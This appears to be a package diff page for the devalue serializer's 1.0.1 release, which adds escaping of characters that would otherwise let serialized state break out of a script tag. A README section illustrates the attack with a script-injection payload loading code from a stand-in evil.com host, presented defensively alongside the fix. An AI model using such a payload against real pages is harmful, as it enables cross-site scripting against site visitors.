Comparing version 1.0.0 to 1.0.1
@@ -1,5 +0,9 @@ | ||
# TODO changelog | ||
# devalue changelog | ||
## 1.0.1 | ||
* XSS mitigation ([#1](https://github.com/Rich-Harris/devalue/issues/1)) | ||
## 1.0.0 | ||
* First release |
var chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_$'; | ||
var reserved = /^(?:do|if|in|for|int|let|new|try|var|byte|case|char|else|enum|goto|long|this|void|with|await|break|catch|class|const|final|float|short|super|throw|while|yield|delete|double|export|import|native|return|switch|throws|typeof|boolean|default|extends|finally|package|private|abstract|continue|debugger|function|volatile|interface|protected|transient|implements|instanceof|synchronized)$/; | ||
function getName(num) { | ||
var name = ''; | ||
do { | ||
name = chars[num % chars.length] + name; | ||
num = ~~(num / chars.length) - 1; | ||
} while (num >= 0); | ||
return reserved.test(name) ? name + "_" : name; | ||
} | ||
var unsafe = /[<>\/\u2028\u2029]/g; | ||
var escaped = { '<': '\\u003C', '>': '\\u003E', '/': '\\u002F', '\u2028': '\\u2028', '\u2029': '\\u2029' }; | ||
function devalue(value) { | ||
@@ -140,8 +134,19 @@ var repeated = new Map(); | ||
} | ||
function getName(num) { | ||
var name = ''; | ||
do { | ||
name = chars[num % chars.length] + name; | ||
num = ~~(num / chars.length) - 1; | ||
} while (num >= 0); | ||
return reserved.test(name) ? name + "_" : name; | ||
} | ||
function isPrimitive(thing) { | ||
return Object(thing) !== thing; | ||
} | ||
function escape(char) { | ||
return escaped[char]; | ||
} | ||
function stringifyPrimitive(thing) { | ||
if (typeof thing === 'string') | ||
return JSON.stringify(thing); | ||
return JSON.stringify(thing).replace(unsafe, escape); | ||
if (thing === void 0) | ||
@@ -148,0 +153,0 @@ return 'void 0'; |
@@ -9,10 +9,4 @@ (function (global, factory) { | ||
var reserved = /^(?:do|if|in|for|int|let|new|try|var|byte|case|char|else|enum|goto|long|this|void|with|await|break|catch|class|const|final|float|short|super|throw|while|yield|delete|double|export|import|native|return|switch|throws|typeof|boolean|default|extends|finally|package|private|abstract|continue|debugger|function|volatile|interface|protected|transient|implements|instanceof|synchronized)$/; | ||
function getName(num) { | ||
var name = ''; | ||
do { | ||
name = chars[num % chars.length] + name; | ||
num = ~~(num / chars.length) - 1; | ||
} while (num >= 0); | ||
return reserved.test(name) ? name + "_" : name; | ||
} | ||
var unsafe = /[<>\/\u2028\u2029]/g; | ||
var escaped = { '<': '\\u003C', '>': '\\u003E', '/': '\\u002F', '\u2028': '\\u2028', '\u2029': '\\u2029' }; | ||
function devalue(value) { | ||
@@ -147,8 +141,19 @@ var repeated = new Map(); | ||
} | ||
function getName(num) { | ||
var name = ''; | ||
do { | ||
name = chars[num % chars.length] + name; | ||
num = ~~(num / chars.length) - 1; | ||
} while (num >= 0); | ||
return reserved.test(name) ? name + "_" : name; | ||
} | ||
function isPrimitive(thing) { | ||
return Object(thing) !== thing; | ||
} | ||
function escape(char) { | ||
return escaped[char]; | ||
} | ||
function stringifyPrimitive(thing) { | ||
if (typeof thing === 'string') | ||
return JSON.stringify(thing); | ||
return JSON.stringify(thing).replace(unsafe, escape); | ||
if (thing === void 0) | ||
@@ -155,0 +160,0 @@ return 'void 0'; |
{ | ||
"name": "devalue", | ||
"description": "Gets the job done when JSON.stringify can't", | ||
"version": "1.0.0", | ||
"version": "1.0.1", | ||
"repository": "Rich-Harris/devalue", | ||
@@ -6,0 +6,0 @@ "main": "dist/devalue.umd.js", |
@@ -12,2 +12,3 @@ # devalue | ||
Try it out on [runkit.com](https://npm.runkit.com/devalue). | ||
@@ -17,2 +18,3 @@ ## Goals: | ||
* Performance | ||
* Security (see [XSS mitigation](#xss-mitigation)) | ||
* Compact output | ||
@@ -44,2 +46,49 @@ | ||
## XSS mitigation | ||
Say you're server-rendering a page and want to serialize some state, which could include user input. `JSON.stringify` doesn't protect against XSS attacks: | ||
```js | ||
const state = { | ||
userinput: `</script><script src='https://evil.com/mwahaha.js'>` | ||
}; | ||
const template = ` | ||
<script> | ||
// NEVER DO THIS | ||
var preloaded = ${JSON.stringify(state)}; | ||
</script>`; | ||
``` | ||
Which would result in this: | ||
```html | ||
<script> | ||
// NEVER DO THIS | ||
var preloaded = {"userinput":"</script><script src='https://evil.com/mwahaha.js'>"}; | ||
</script> | ||
``` | ||
Using `devalue`, we're protected against that attack: | ||
```js | ||
const template = ` | ||
<script> | ||
var preloaded = ${devalue(state)}; | ||
</script>`; | ||
``` | ||
```html | ||
<script> | ||
var preloaded = {userinput:"\\u003C\\u002Fscript\\u003E\\u003Cscript src=\'https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js\'\\u003E"}; | ||
</script> | ||
``` | ||
This, along with the fact that `devalue` bails on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by `devalue` can be safely deserialized with `eval` or `new Function`: | ||
```js | ||
const value = eval('(' + str + ')'); | ||
``` | ||
## See also | ||
@@ -46,0 +95,0 @@ |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
19738
411
100